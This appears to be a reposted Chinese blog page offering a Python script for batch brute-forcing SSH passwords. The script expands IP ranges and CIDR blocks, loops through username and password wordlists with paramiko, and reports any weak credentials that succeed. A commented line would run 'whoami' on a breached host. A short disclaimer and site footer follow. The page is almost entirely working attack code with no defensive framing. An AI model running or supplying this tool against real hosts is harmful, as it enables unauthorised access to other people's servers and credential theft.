批量爆破SSH密碼 python腳本


import paramiko
import re
from IPy import IP
import sys,ftplib,socket
my_re = re.compile(r'[A-Za-z]',re.S)

# 讀取文件
def open_file(file_name):
data = []
try :
for line in open(file_name):
test = line.strip('\n')
data.append(test)
return data
except IOError:
print("[-]文件名:"+file_name+'讀取異常')
return data
def IPs(ip):
res = re.findall(my_re, ip)
if len(res) == 0: #判斷是否存在英文字符,如果沒有,直接進行IP操作,如果有,進行文件讀取操作
IPS = []
s1 = "/"
s2 = "-"
if ip.find(s1) > 0:#如果傳入的字符串滿足192.168.10.0/24這種形式,則調用IP庫進行處理
ip1 = IP(ip)
for i in ip1:
IPS.append(i)
elif (str(ip).find(s2)) > 0:
for i in range(int(str(ip)[str(ip).rfind('.') + 1:str(ip).rfind('-')]),
int(str(ip)[str(ip).rfind('-') + 1:]) + 1):
IPS.append(str(ip)[:str(ip).rfind('.') + 1] + str(i))
return IPS
else:
return open_file(ip)
def ssh(ip,port,username,passwd):
ips = IPs(ip)
user = open_file(username)
password = open_file(passwd)
#三層嵌套for循環,檢測密碼是否正確
for i in ips :
for j in user :
for k in password:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 跳過了遠程連接中選擇‘是’的環節,
try:
print('[*]正在檢測 用戶名:' +j +",密碼:" + k )
ssh.connect(i, int(port), j, k)
print('[!]檢測到弱口令,主機:' + i +",用戶名:"+j+"密碼:"+k )
# stdin, stdout, stderr = ssh.exec_command('whoami')
# print(str(stdout.read(),'utf-8'))
except paramiko.ssh_exception.AuthenticationException:
pass
except paramiko.ssh_exception.SSHException:
pass
#ssh("192.168.154.134-135",22,"username.txt",'passwd.txt')


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM